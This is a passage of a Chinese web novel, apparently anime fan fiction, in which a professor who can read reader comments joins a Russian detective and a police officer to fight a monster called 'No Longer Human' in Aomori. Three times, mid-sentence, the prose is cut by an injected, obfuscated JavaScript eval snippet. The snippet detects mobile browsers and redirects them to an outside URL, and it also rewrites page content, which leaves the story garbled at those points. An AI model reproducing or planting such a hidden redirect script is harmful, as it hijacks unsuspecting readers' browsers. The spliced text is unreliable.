很麻烦? 江户川蓝峰咀嚼着这个词。他下意识地想到了传说中这位侦探一直在追逐的目标:一种既非人类也非异能者的特殊生命。 这起案件和它们有关?而且,费奥多尔真的是在去年就意识到了这起案件会发生? 江户川蓝峰叹了口气。 “您是会预言吗?” 他半带无奈、半带好奇地问。 短暂的沉默。然后电话那头的人发出一声轻轻的笑。 “很不幸,我曾见过预言。” 对方说:“但幸运的是,我至少不是先知。” 所以这个世界上真的存在预言? 等等。 江户川蓝峰突然意识到,在提到涉及“未来”和“预言”时,这位侦探的态度似乎总是有点……尖锐?尖刻?刻薄? 从第一次见面起就是这样。 有那么一瞬间,江户川刑警甚至都不合时宜地好奇起来,想要知道对方和预言之间是否存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后他就看到了费奥多尔侦探带着一个身上沾满了凝固鲜血的人走了进来。江户川蓝峰忍不住多看了那个陌生人一眼。 身高一米八,体型匀称,很明显的欧亚混血面孔。眼型偏圆,颜色是混血儿中常见的金棕色虹膜,眼中闪过的神采让他看上去很年轻。 海藻一样的褐色卷发显得有些凌乱,可能是因为不久前进行了剧烈运动,大概与身上的血有关。五官比普通亚洲人要更深邃和有攻击性,但这种攻击性被他脸上过于……难以形容的神情中合了。 江户川蓝峰有些微妙地看着这个年轻人用变化莫测的表情看着手中笔记本的样子,决定还是不要猜测对方的年纪为妙。 “这是我的助手。” 费奥多尔注意到了来自刑警的视线,微微侧过头,简单地介绍道:“之前他刚刚杀死了一个变成怪物的人。” “啊对对对。事情就是这样的。” 神情相当诡异的年轻人终于把注意力从本子里分出来了。他抬头看了眼江户川,随手打开了身上的录音笔,进行着相当敷衍的回应:“你叫我夏……算了,叫我勒托就行。” 整个过程中,江户川刑警始终保持着非常官方的微笑。 他觉得费奥多尔是把他当成傻子糊弄,他甚至有证据:且不说别的,你要不要看看你身边的这个家伙,他难道很像助手吗? “我不知道啊。我是大学生,听说有学分和实习证明我就来了。我就是过来旁听和写交流记录的。你们加油,最好当我不存在。” 似乎看出了对方心里的想法,那个自称勒托的人很真诚地开口,让江户川蓝峰的左眼皮跳了跳,然后便继续看起了笔记本。 此时的夏章雾看着手中本子上浮现出的、只有他自己才能看得到的文字,目光快速地锁定在一行字上: 「卷起千堆雪: 嘶,夏教授的邻居难道是M16吗?专门监视危险分子的那种。」 且不说他真正的邻居柯南·道尔那家伙的平均道德指数说不定比M16还要低,就说后面的那半句话…… 他深吸一口气,快速地在上面用笔写下了自己的回复: “这位读者先生或者读者小姐,不信谣不传谣——什么叫危险分子?我的违法记录数量可是打败了包括我邻居在内的99%钟塔侍从成员,而且出门从来没有被警察罚款过!” “真的已经很有法律意识了!” 7. 对的对的——对吗? 「柒云: 咦?那以后评论区的读者会不会也影响到故事里?丢进去些奇奇怪怪的东西?」 夏章雾又往前翻了几页,看着笔记本上刷新出来的句子,眼神仿佛已经死掉了。 ——还真是有远见呢,这位读者。 明明第一次觉醒了自己的异能,明明第一次使用了异能力,一切看上去都是那么美好。 但他那被描述为“绝对令人印象深刻”“绝对独特”的异能,为什么实际上的效果只是看一群人的聊天记录?这种异能真的存在用处吗? “怎么说话的,这可是读者老爷们的评论区。区区主角而已,给我放尊重点。”画外音义正言辞地驳斥道,充分体现了自己对衣食父母的尊敬,“而且你就说这异能独不独特,是不是特别令人印象深刻?” 那是挺印象深刻的。 夏章雾死鱼眼:既能和“作者”聊天,又能和“读者”聊天的主角估计一只手就能数得出来。不过他总觉得这个作者送给自己这个异能的目的似乎没有那么单纯。 他翻了几页纸,大致计算了一下这些评论的数量,然后合理地怀疑,作者其实是想把“和主角互动”打造成这本小说的特色,然后骗更多的读者留评论,好拯救那个看上去就冷冷清清的评论区。嗯,还真是老奸巨猾…… 就是夏章雾莫名感觉自己有点像是动物园里的金刚鹦鹉,十块钱就能合照一张的那种。 “喂喂,不要随随便便地在心里说出真相!” 画外音大声说:“这可是我作为扑街仔最后的自救手段了!而且我才二十多岁,正是风华正茂的美少女,和老奸巨猾完全不沾边!” 二十多岁的美少女?这两个词组合在一起怎么就这么违和呢?别说美少女了,到了这个年纪,就算是魔法少女也退役了吧,老阿姨。 不过考虑到自己的年纪已经三十出头了,夏章雾还是忍住了自己吐槽的冲动,转而继续专注地看纸上那些只有他才能看到的文字。 笔记本是下车后他问侦探要的。他要得很自然,对方也给得很自然——就是夏章雾在心里稍稍地为对方身上带着的东西丰富度感到了震撼。 决定了!下次忘记他名字就喊他哆啦费梦! 咳咳,扯远了。 话说回来,刚刚他只是匆匆翻阅了一遍,并没有仔细阅读其中的每条内容,但就算如此,他也发现了不少对自己来说颇为有用的信息——之前哭惨是想要看看能不能从作者那里再榨出点油水,实际上这个异能对他而言确实很有用。 毕竟三次元的作者总是一副神神秘秘不肯剧透的样子,想要知道某些信息,他也只能靠三次元的读者了。 「飘然如烟: 所以这个世界乱步的父母没有死(思)是因为男主插过手了?」 江户川乱步?这个名字应该是菊学姐和面前这位江户川刑警的儿子吧?所以他的父母是…… 嗯?学姐和警官先生会死? 夏章雾有些迷茫地眨了两下眼睛,他抬头看了眼江户川蓝峰:嗯,没错,是活人。 他想了半天,硬是没想明白这句话的意思,也没有搞懂这位读者为什么觉得他们俩会死,于是十分顺理成章地跳过了这段内容。 「桉莉斯: 章雾谐音账务,所以我可以叫你账务吗(诚恳的目光)中午和职务也是可以哒(被打)」 “……”夏章雾默默盯。 才认识多久啊就给人取外号!好没礼貌!决定了,以后就给你取个外号叫爱丽丝! 「洗红尘: 按爪」 又是按爪。 他看到了不少和这个内容差不多的评论,但到现在也没弄清其中准确的含义。不过他猜,这种评论的性质大概和“已阅”差不多。 于是夏章雾思考片刻,大笔一挥,也写了个“已阅”上去,然后才继续看接下来的内容。 「好心的斯巴拉西希望俄罗斯饭团: 有努力,但是吓哭小朋友的方向(好像怪叔叔啊)」 “?” 这指的是之前自己安慰小女孩的事吗——但造成这种结果他也不想的啊!明明都是那个混蛋作者的锅吧! 什么怪叔叔?污蔑!这就是纯粹的污蔑! 回想起之前读者“违法分子”的评价,夏章雾只觉得痛心疾首:你们三次元的读者怎么都那么喜欢污蔑人啊? 真是世风日下人心不古,下一条! 「凤舞九天: 真的共情了吗?更像是没有共情所以去询问有情绪的人“你刚才是这种情绪吗?”」 看不懂,反正肯定又是污蔑,下一条! 「柒云: 该不该吐槽,不要教一个正常世界观里的小孩子这样的事情啊,不过这也不是正常世界(……)但还是不该。」 ……好像心虚了一秒。 不管,继续下一条! 「柒云: 夸夸三花!!脑洞乱开地猜了很多细节,迫不及待地想看后面的剧情发展了!顺便费佳的雇主不会就是作者吧?考虑到书和文野if线的话,作者,会不会是拿着书的谁?这里是书中世界?套娃的那种?平行世界的平行世界?书中的书?还有我对夏的过去真是越来越好奇了,肉眼可见的经历丰富啊,费佳以前就认识夏吧,虽然现在的感情戏还没展开的样子,但我能说我有点开始磕到了吗?……」 一条很长的评论。 夏章雾先是下意识地看了眼发言人的名字,结果发现还是“柒云”。这位读者真的在评论区相当活跃。 然后他开始读内容,越读眉毛皱得越紧。 没看懂,完全没看懂。 三花是啥?哦,从上下文来看很有可能是作者的名字,那家伙说自己的笔名是“作者”,果然是骗人的。 但费佳是谁?文野是什么?“书”在这里好像被作为一个专有名词来使用的,它又指什么?还有这个世界怎么被描述得这么复杂? 最重要的是,他平平无奇的过去到底有什么地方值得好奇的……不对,最重要的明明是这个词组。 夏章雾凝重的目光停留在了三个字上。 感、情、线。 妈耶,他要有对象了。 而且对象就是这个叫“费佳”的人。 这一刻,夏教授调动了自己所有的脑细胞,尝试从回忆里找出类似发音的名字,最后悲哀地发现自己连对方是外国人还是华夏人都没有办法确定。 “坏消息,这是剧透。”画外音懒洋洋的声音里多出了某种古怪的嘎吱声,听上去就像在吃零食,“好消息,主角什么都没意识到。” 你这好消息和坏消息的位置反了吧! 夏章雾很想这么回答,但他还是没有和作者继续斗嘴,而是很有效率地寻找起了有着类似古怪人名的评论。 但还没等他找到类似的评论,另一个颇有熟悉感的ID就携带着大量的文字跳入眼帘。 「飘然如烟: 所以人间失格并不提供异化的力量,而是将“人”肢解再重组……它的目的是什么呢?为什么要创造出这么多力量有限的怪物,怪物变多对它来说有什么意义,能够证明什么?」 啊,这个。 夏章雾默默点头:这个的答案他知道。作者告诉过他,文学负面体对人类本身怀有着超乎想象的憎恨。它们的恶行并不需要任何目的,只是单纯的报复冲动。 毕竟是由负面情绪构成的存在,不那么理性也可以理解。 他继续看下去,这段评论还没有结束: 「…… 考虑到这是来自于三维世界的情绪垃圾,与其说是一种对于《人间失格》剧情的刻板印象,不如像是某种常见的读后感?就那种“这个社会上大家都理所当然认为自己是人。其实大家都只是生理构成上拟人的怪物,因为在我们自觉和不自觉的心思意念里都满是那种兽性的、毁灭性的恶念”。 这里出现的“人间失格”感觉就像是这样一种放大负面的思念,并以之为核心,以传说为模板重构人体生态的力量,就好像是“不应当以人这一概念去认识人,而要挖掘开人心中的怪物,在日光下横冲直撞,血流成河,然后才知道人就是如此”。」 夏章雾非常、非常认真地读着。 他知道,这两段话大概是自己拥有这个“能够看到读者评论区”的异能以来,得到的最有用的信息。 《人间失格》顾名思义,是一本围绕“什么是人类”探讨的书。他之前一直不清楚这本书具体是什么样的,但现在,这位读者非常清晰地将书籍的主题写了出来。 而且他/她还提出了一个猜想:作为文学负面体的“人间失格”,其能力很有可能来源于三次元《人间失格》读者对这本书的观点。 这是只有“读者们”才能发现的事。因为《人间失格》是只存在于他们世界的书。没有看过这本书的夏章雾是猜不出来的。 “谢啦。” 夏章雾脸上浮现出微笑。他小声地对这位读者说,同时也把“飘然如烟”这个名字记住了,然后才去看这个评论的最后一段。 “…… 至于主角,唉,我总觉得如果他遭遇人间失格,也不会变成怪物……因为首先他并不掩饰自己的精神状态,其次谁又能说他现在的生理状态就不算是一种怪物呢,怎么会有人听得见造物者的声音?” 夏章雾看着这段评论。 夏章雾缓缓打个问号。 夏章雾开始思考这是不是读者一种新形势的污蔑:但不对啊,这位读者理智又贴心,必然不可能污蔑他。 所以真相只有一个! 这个读者是在关心他,污蔑他的其实另有其人——比如说某个在自己耳边碎嘴的造物主!就是它,害得读者觉得自己精神和生理状态堪忧! “夏章雾。” 作者的声音毫无起伏:“你个双标狗。” 夏章雾假装自己听不见。 他现在非常非常地感动:不容易啊,这么久了,总算是有人关心他的心理状态了! 没想到读者里面也是有天使存在的。 不过这位读者倒也不用太担心,因为他马上就要有对象了。 嗯,夏章雾觉得自己就算心理和生理上真的有点小毛病,也肯定能在贴心的未来对象帮助下迎刃而解。所谓爱情是最好的疗伤药…… “你别这样,我有点害怕。” 画外音不知为何地结结巴巴起来,甚至显现出莫名的惊悚:“你,你还是赶紧告诉我你到底对你未来的对象有什么想象吧。” 没有马上回答,夏章雾目光漂移了片刻,最后像做贼似的把本子翻到末尾,在不好意思地咳嗽一声后提起笔,洋洋洒洒地写起来。 「我悟了,按照我对网络小说的理解,费佳肯定是传说中特别贴心勤劳能干的女主吧!没想到作者你竟然会包办婚姻,真是小瞧你了——顺便问一下,她长得怎么样?我个人比较喜欢黑长直,实在不行白毛红眼也可以接受。总之只要不是傲娇就行!」 「傲娇早就退环境了!」 “……” 作者陷入沉默。 作者欲言又止。 畜生,你究竟悟了个什么! 但到了最后,它还是憋出了一句比较正常的、能够把人糊弄过去的发言。 “那你运气挺好,”它用身心俱疲的语气说,“那家伙确实很符合你的审美。” 有黑色直发——尽管不够长,有红眼——尽管不是白毛,而且性格和傲娇毫无关系——尽管确实很傲慢吧……但怎么能说不符合审美呢? 作者释怀地笑。 夏章雾则是眼睛一亮。 怎么说呢,虽然对相亲不感冒,但他确实也很好奇作者为自己安排的另一位“命中注定的女主角”到底会是什么样的人。 “如果灵魂伴侣真的存在,那属于自己的那个会是什么样呢”,这大概是每个还没谈过恋爱的成年人都好奇过的话题。夏章雾也不例外。 当然,最重要的是她很有可能是黑长直……呸呸呸,最重要的是,她可是女主!女主也是主角,而主角的能力就不可能弱的! 要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135976|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己能把人忽悠过来,为拯救世界而打工,那自己岂不是少了一半的工作量? 想到自己又能拖一个人下水,夏章雾满意地呼出一口气,只感觉浑身都轻松了许多,然后在画外音“不是哥们,你脑子里全是让人打工吗,疑似有点下头了”的吐槽声里,把所有的注意力转移到了办公室的另外两人身上。 之前就被他打开的录音笔还在尽职尽责地收录着这场对话的内容,在看评论与跟作者聊天的过程中,他也一直有在留意听这两个人的对话。 不过之前他们尽管也说了些话,但都是对夏章雾而言不怎么重要的内容:主要是在谈夏章雾遇到的那起怪物事件。因为这是第一起完全与学生无关的怪物事件,所以得到了格外的关注。 夏章雾对此倒是没什么好惊讶的。画外音早就在来之前跟他说过,他要面对的是能够毁灭世界的危机。如果危机针对的对象只有学生,那怎么看都不至于到毁灭世界的程度。 所以受害者群体必然会扩大。而他只是运气很不好地遇到了第一个案例,仅此而已。 但现在,话题总算是来到夏章雾感兴趣的话题上了。 “因为异能大战才刚结束不久,再加上最近的怪物事件也确实令人心惶惶,所以戒严命令推进得还算顺利,并没有太大的反对意见。目前也发布了公告,从明天起就不可随意出门。” 说到这里,江户川刑警的脸上也浮现出苦恼的神色:“不过这起新事故的消息传出去后,本来因为畏惧而选择了听从官方指令的民众,会不会因为恐慌再次骚动起来,也不好说。” 在上班族受害者出现前,因为怪物事件主要围绕校园爆发,所以社会中尽管已经出现了惴惴不安的声音,但大多数人都是抱着“只要自己和孩子不去学校就可以避免”的心态,并不觉得自己的生命安全危在旦夕。 但现在呢?他们也有可能成为受害对象了! 在这种强烈不安感的驱使下,人类做出什么样的举动都有可能。只要有几个不怀好意的人煽风点火——届时青森县可能会热闹得厉害。不,估计整个日本都会变得挺热闹。 “无妨,请务必尽可能地延长封锁时间,江户川先生。必要时可以采取暴力手段。” 似乎正在思考着什么,闻言费奥多尔只是抬了下眼眸,淡淡地开口:“不必担心上面的压力,我和首相有过这方面的协定。” 夏章雾好奇地看了这位侦探一眼,但也不算太惊讶:毕竟他也见过日不落的女王,虽然他当时是以柯南·道尔的附属挂件身份去见的…… 江户川蓝峰倒是微微一噎,感觉自己还是低估了这个男人掌握的话语权。 但这个回答本身就意味了很多东西,他深深地吸了口气,寻找出自己当下最应该问的问题: “您认为这能控制它的蔓延?” 江户川蓝峰沉声问:“能起到怎样的效果,我们还有多少时间——” 政府强制介入居民的日常生活,暂停城市中大多数岗位的运转是需要付出代价的。就算是最丧心病狂的杀人犯,也不会得到这种伤敌一千、自损八百的待遇。在历史上,能获得如此殊荣的只有一种东西。 天灾,真正的天灾。 警察紧紧地盯着面前的侦探,感觉一颗心逐渐沉到了底处:一开始接手案件时,他觉得这起案件顶多只是不寻常的异能者集体作案而已。 在费奥多尔给他打电话后,他也乐观地认为,虽然案件有蹊跷之处,但费奥多尔与日本政府合作的次数也不少,不至于一轮到他,事件就会变得不可收拾。 而到了现在,当费奥多尔说出“尽可能地延长封锁时间”时…… 呵呵。 他脑海里只有一个想法:不愧是能让这家伙提前一年找上他的案子,就是特么的刺激啊。 “您太高看我了。虽然我和它们打过许多交道,但它们每个都是独特的。我能做的,只是尽可能地不低估它们而已。” 然而对面的侦探只是微笑,那对酒红色的眼眸看向了正假装是清澈愚蠢大学生的夏某人:“所以,去问问真正的先知吧,江户川先生。” “咕?” 夏章雾指了指自己,一脸茫然:“我说?” 他还以为他就是过来蹭资料和旁听的呢!而且这个问题你真的回答不了吗?真的吗,这位费奥利奥先生? “是费奥多尔啊!” 画外音拼尽全力地纠正:“只有四个音节的东西就不要再记错了好不好!而且你刚刚不是说下次打算叫他哆啦费梦吗?” 夏章雾面不改色,好像他根本就没有把俄罗斯人的名字记岔似的,然后在江户川蓝峰诧异的视线中咳嗽两声,清清嗓子。 “我不清楚具体的情况。关于这次要面对的东西,我只知道它的名字是‘人间失格’,能够把人变成非人之物。” 他坦诚地回答:“不过在我得到的预言中,十四天内它就会在青森彻底失控。如果我们没有办法限制住它,那么只要一年。” 十四天是任务期限。而一年…… 说到这里,夏章雾也稍微严肃了些:“人类社会就会彻底崩溃。” 是人类走向末日的时间。 “十四天?人间失格?” 江户川蓝峰没有怀疑。他立刻把重点放入了考虑当中,皱眉思考起来:“如果把所有办案流程都抛开,理论上可以……但它应该也不是理论范围内的生物吧?” “用生物来形容它们未免也太奢侈了。它们连生命都没有,只是一种现象罢了。” 费奥多尔回答。他看上去并没有对仅剩两周的时间感到不安,而这种仿佛很熟悉此类怪物的语气让夏章雾的表情微妙地古怪起来。 是的,刚刚费奥多尔便介绍过他是追逐着怪物的侦探。但在此之前,夏章雾一直觉得,他追逐着的怪物只是都市传说或民间怪谈中的存在。只是在机缘巧合之下,他才和自己瞄准了相同的目标。 但这个描述,这个语气…… 怎么越听越感觉,这位费奥多尔先生一直在寻找的怪物,其实就是“文学负面体”呢? 8. 有这么一个高速运转的…… 果然,世界上知道文学负面体存在的人不止他一个。 夏章雾的目光有些古怪。 文学负面体肯定在他这个“主角”诞生前就出现在世界上了,这倒不怎么让他惊讶。他在意的东西是,在他这个主角诞生之前,人类是怎么和它们相处的。 准确的说,是怎么杀掉它们的。 夏章雾下意识地咂了下嘴,思考着自己要不要问问俄罗斯人这些东西的历史,但江户川蓝峰比他要快了一步。 “如果它们甚至都没有生命的话——费奥多尔先生,我听闻您解决过不少次有关事件,那几次都是怎么解决的?” 他严肃地开口:“我们现在得到的信息太少了,所以每份情报都弥足珍贵,就算可能起不到什么作用,也请您不吝分享。” 来自俄罗斯的侦探有些诧异地瞥了眼刑警,他轻轻地挑了下眉:“很简单。” “我说过,它们更像一种现象。而现象总有消失的一天。台风终有一日平息,地震也有终结,虹彩只在雨后短暂存在。在大多数时候,我们能做的不过是减少它们存在时发生的影响。” “那少数的情况——” “少数的情况是,它们消失的条件人类几乎无法接受。中世纪被解决的一例事件便是如此:它依托于人类对理性世界的渴望而存在,只有摧毁这种渴望,它才会自然消失。” 江户川蓝峰愣了一下,也不知道他惊讶的是这些生物竟然还能这么无解,还是这么无解的东西竟然还能被消灭。 夏章雾的眼皮也是下意识地跳了跳,只觉得整件事就十分离谱。 不是哥们,所以中世纪的老祖宗们到底是怎么把这种东西解决的?难道是靠宗教的愚民统治吗? “这和中世纪教会的行动有关系吗?” 江户川蓝峰也想到了中世纪教会做出的各种愚民行为,他按了按眉心,有些头疼。 如果把这种怪物的存在放入人类历史中,那么很多怪异事件背后的东西就要重新考量了。中世纪的宗教远征,启蒙运动时期的灭杀女巫浪潮,甚至还有各种怪异的天灾…… “谁知道呢?真相早已被时间淹没。” 费奥多尔漫不经心地开口:“也许他们确实减缓了那个怪物对人类社会继续进行影响的步伐,但我想,没有人会感激他们的。” 江户川蓝峰哑然,但也没有反对俄罗斯人的说法,而是重新把注意力放在他们目前要面对的怪物身上。 比起几个世纪前的故事,他现在有更需要关注的东西。 “我们也可以采取类似的措施吗?” 他说:“变成怪物的受害者都是生活遇到极大的挫折,或者就是长久地生活在绝望中。从这个角度来看,它的能力很有可能与绝望与认同感有关。如果让政府发布一些能够提振民众信心的通告的话,情况是否有可能好些?” “很难。” 这次说话的是夏章雾:“江户川先生,我想您应该听说过塔西佗陷阱。而且,我们必须要做好最极端的准备。” 当政府的公信力低到一定程度时,它的任何行动——甚至不行动都会遭到民众的质疑。而在这种情况下,民众的不安一旦发酵,公信力的崩盘简直轻而易举。 “极端?”江户川蓝峰本能地重复了一遍。他觉得隔离与封锁就是最极端的行动了,还能糟糕到哪里去? 夏章雾沉默地看着茫然的刑警:他没明白,这也很正常。不是因为他的思维不够敏锐,而是他的道德水准实在太高,根本没有想到还存在这样的解决方式。 菊学姐找的丈夫嘛,确实是个很好的人。但好人有些不太适合这样的战场。 “封锁青森县与外界的所有渠道,找出一个月来所有外出的青森县人,把他们与接触者一并进行隔离,把他们逼到绝望的情景下,把其中所有变成怪物的全部杀死。” 费奥多尔淡淡地说道:“期间把影响降到越小越好,然后对青森发射导弹——” “不可能!” 在听到第一句话后便陷入震惊的江户川蓝峰像是突然反应了过来,他急促地开口:“日本政府不可能做出这样的举动,这里还有民众,还有外国的游客……” 他只是说了一半,就再也说不下去了。这位刑警顺着自己的思路想了下去,结果得到的只有一个更不寒而栗的可能。 “我在出发前便联系了伦敦,钟塔侍从表示出于全人类安全的考虑,他们会很乐意为这件事负责。考虑到异能战争并没有过去太久,想来日本民众能够理解此事的‘合理性’。” 费奥多尔声音几乎是轻柔地说出了这句话。夏章雾扯了扯嘴角,不忍心继续看江户川先生此刻的表情。 他现在终于明白了,对方为什么作为一个俄罗斯人,和他乘坐的都是同一班从伦敦起飞的飞机,连后续换机都一样。 因为这家伙在来之前就已经准备好“如果解决不了问题,就连人带着问题一起解决”的选项了——你别说,还真像是钟塔侍从那群人会赞同的事。 唯一的问题嘛。 “之前的预言是不是有点问题?” 他对画外音吐槽:“感觉我不过来,人类也不会出事啊。这方法确实能够解决问题,就是极端了亿点点。” 所以你果然是在危言耸听吧? 夏章雾明晃晃地暗示着这样的情绪。 然而作者只是冷漠地“呵呵”了两声,根本没有理会他。 “这个方案成功的理由呢?” 江户川蓝峰过了好几秒才勉强缓了过来。这个本该退役的刑警紧紧地握拳:“为什么认为只要消灭和青森县牵扯到一起的人,就可以解决掉人间失格?” 不愧是著名的刑警啊。就算是这么剧烈的情绪冲击下,也找到了重点。 结束了和作者交谈的夏章雾眨眨眼睛。 他侧过头,和费奥多尔的视线默默地交汇在了一起。在短暂又无声的交流过后,夏章雾主动开口解释道: “因为憎恨。”他说,“这些存在都对人类怀有强烈的憎恨。它们存在的唯一意义就是尽可能地伤害人类,它们生来贪婪、空虚、痛苦,并且永不知足。” 画外音当时就是用这个说服了他,让他勉强同意了踏上“杀死文学负面体”的道路,乘坐飞机来到青森。 而在这里,它具有另一种含义。 ——未来能毁灭人类社会的怪物事件现在之所以只覆盖了小半个青森,只导致了几十人的死亡,不是因为那个“人间失格”喜欢和人类玩过家家,而是它现在真的只能做到这些。 “需要一个月才能覆盖青森,但让整个人类社会陷入崩溃只需要一年的时间。它的覆盖范围是呈现指数增长的,再结合事件的扩散方式,答案已经很清楚了。” 江户川蓝峰有些艰涩地开口:“通过孩子传染给成人,成人再传染亲朋好友,他们回家后传染给更多的孩子。只是未成年人更容易陷入情绪冲动,心理素质也更差,所以最开始变成怪物的全是他们。” 和传染病一样的感染模式,也有着和传染病一样的弱点:把传染媒介全部消灭后,的确能够暂时消灭它。 之所以没发现这一点,是因为江户川蓝峰最初没有特别关注各个受害人接触者的活动:毕竟青森县的范围有限,里面每个人几乎都能彼此扯上关系,要么是同事的朋友的同事,要么是邻居的亲戚的朋友。调查这个没有太大的意义。 但事实证明,现实就是这么毫无意义。 江户川蓝峰叹了口气,感觉身上的压力又增加了几分:按照这么推测下去,可能有大半青森人都已经成为了潜在的怪物预备役。只是人类毕竟不是说绝望就绝望的物种,所以才只是爆发了十来件怪物伤人的事故而已。 “我会调查与死者有接触的所有人的行动轨迹,观察他们是否有着直接或间接的接触,以此确认这件事是否和我们猜想的一样。” 江户川蓝峰现在能够做的只有补救,他快速地想出解决方案,然后看向费奥多尔,语气迫切地询问道:“所以中世纪的那起事件,到底是怎么解决的?” 夏章雾也支棱起了耳朵,好奇地看去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这叫什么话!他的良心只是稀薄了点,又不是没有!至少他还是对学姐的丈夫有点抱歉的! 明显苦恼了很多的刑警深深地吸了口气。 “必须先找到它,才能将它杀死的话……如果这类存在真的对人类具有强烈的仇恨心理,以至于不会放过任何猎物,我们是否能够用引诱的方式引导它出来?” 最终,他艰难地说出了这句话:“也就是,我们主动给它制造出一个猎物?陷阱?” 费奥多尔和夏章雾再次交换了一下眼神。 很好,他们等的就是这句话。 夏章雾自认为自己还是有点良心的,和旁边那个连笑起来都很“……”的侦探完全不一样,他可不会无意义地给人增加心理压力。 这种行动基本上就是要把一个人类送到人间失格的嘴边,放任它成为怪物的一员。如果是之前,这位正义感极强的刑警绝不会答应。 但在俄罗斯人给出“钟塔侍从有这么一个高速运动的导弹进入青森”的方案后,在现实严峻的压力与形势下,江户川先生不就自己提出了这个相对而言不是那么极端的方案了吗? 在这件事得以通过后,急需解决的问题就只有一个了。 ——等接触文学负面体后,怎样杀死它? 夏章雾很希望只要用武器把它捅死就行,但可能性不大。文学负面体的存在性质更接近自然现象,哪个自然现象是能被捅死的?莫非有人能捅死地震? 思考几秒后,他默默地在心里喊起作者来。 作者没回他。好吧,这个家伙在涉及到剧透的事情时态度一直都很坚定。 作者是指望不上了。那……读者? 夏章雾的视线默默地转移向了本子。 人间失格好歹也是从他们那儿有关,总不至于一点情报都不知道吧?而且说不定会有读者以寄刀片为威胁,勒令作者剧透剧情呢? 夏章雾很乐观地想象了一番这种可能,然后他翻开本子的最后一页,刷刷地写了起来。 「嗨,亲爱的读者们:请问你们知道任何有关“人间失格”的情报吗?什么样的都行,如果有和能杀死它有关的就更好了。」 想了想,他又慎重地补上了一句: 「PS:如果有人认识那个混蛋作者,请务必帮我打探一下这方面的事。她不答应的话就替我骂她一顿,谢谢大家:)」 9. 你这是违法的你知道吗 青森街头的路灯不知何时齐齐地亮了起来。 日照大神灼热的力量褪去了,更加深沉而柔和的颜色包裹了这片土地。当夏章雾走出警察局的时候,他看到的便是无数人造的光点,静静地悬浮在这座城市冰凉如水的夜色当中。 “哇呜……” 这位人类学教授发出有些意义不明的感慨,然后非常没个正形地伸了个懒腰。他整个人的身上都散发出一种懒洋洋的气息,仿佛被腌渍好了的巨型咸鱼。 “除了英国王室来我们学校参观的时候,我真的很少和人开会开到这么晚。”夏章雾含糊不清地嘟哝着,金棕色的眼睛微微眯起,紧接着又打了个漫长而悠缓的哈欠。 “简直比给那群小兔崽子上课还累……” 他身后走出来的是那个俄罗斯侦探——虽然有点抱歉,但夏章雾在这个哈欠后又一次成功地忘记了对方名字的发音。 总之,这位俄罗斯人看上去要比身旁的大型盐渍鱼类精神得多,甚至还帮大脑正在放空的夏章雾先生拦了一辆计程车。 “去哪?”司机问。 一个有些敏感的问题。 还处于放松状态的夏章雾立刻清醒过来。他看向费奥多尔,从一条咸鱼变成了一条使劲扑腾尾巴的咸鱼。 “我总觉得有什么阴谋。你该不会是想要把我的住址给套出来吧?”夏章雾狐疑地看着他,“考虑到第一次见面时就给我安的定位器,你这个人很变态啊你知不知道。你这是犯法的!” 变态到他这个长期住在伦敦的人都大感震撼,果然就像道格拉斯说的那样,男孩子出门在外一定要保护好自己……他为什么就没信这句话呢?他现在真遇到变态了啊! 费奥多尔歪了下头。他似乎觉得某位夏教授脸上飞快变幻的表情很有趣,酒红色的眼睛弯了弯,显现出微笑的模样。 “车费我出。”他说。 “……” 夏章雾转过头,毫不犹豫地对司机开口:“白庭酒店,车费他出!” 话毕,夏章雾拉开车门,往后座一趟,整个人都惬意地窝在了软垫上,再次变成了一条齁得过分的咸鱼,在脑袋沾到后枕的瞬间就舒服地、长长地打了个哈欠。 在打哈欠的同时,他用余光瞥了眼身边:车门关上了。那位侦探也和他一同上了车。 夏章雾没有管他,只是慢吞吞地给对方挪了个稍大点的空位,然后换了个躺起来更舒服的姿势:知道自己住的地方就知道呗,只要不半夜敲窗来降低他的睡眠质量,夏章雾本人一向是无所谓的。 不过他也在想对方为什么会这么执着地盯着自己:这家伙对自己的态度简直就像是带自家哈士奇出门遛弯的倒霉主人,每时每刻都要确认一下自家狗子的位置,生怕对方当场表演一个撒手没…… 但问题在于,夏章雾并不觉得自己有什么和哈士奇相似的地方。他在溜走之前至少会和人打声招呼:比如说吧,他在来日本之前,就把请假条直接给拍到了校长的桌子上。 掀起的风差点把校长的假发吹飞了。 “我也觉得你和哈士奇有点区别。” 画外音非常恳切地说:“区别在于,哈士奇不会说人话。” 夏章雾:? 他感觉自己遭到了辱骂,但不太确定。 但他没有怼回去,因为在画外音突然跳出来彰显了一下自己的存在感后,他想起了另一件更加重要的事。 夏章雾稍微坐直,又一次打了个哈欠,旁若无人地把笔记本从口袋里掏了出来。 说起来,在之前写下对读者的求助后,他并没有立刻看读者对此的反应。 毕竟就算拥有打破第四面墙的能力,故事的主角与读者的交流也存在延迟——如果是在第八章发出的求助,最快也只能在第九章看到回复。 夏章雾并不清楚作者打算怎么分章,但他看了看手表上明晃晃的“18:33”,认为目前怎么也该到下一章了。 “当然到下一章了。” 作者对自家主角的谨慎很是不满,它有些不忿地念叨着:“你不要总是把我想象得那么坏,那么喜欢给你添堵——” 这次轮到主角“呵呵”两下了。 谁会信你的鬼话! 书页被他毫不犹豫地翻开,视网膜中的一个个字体浮现。夏章雾先是匆匆扫了一眼,很快就发现其中多出了许多内容。 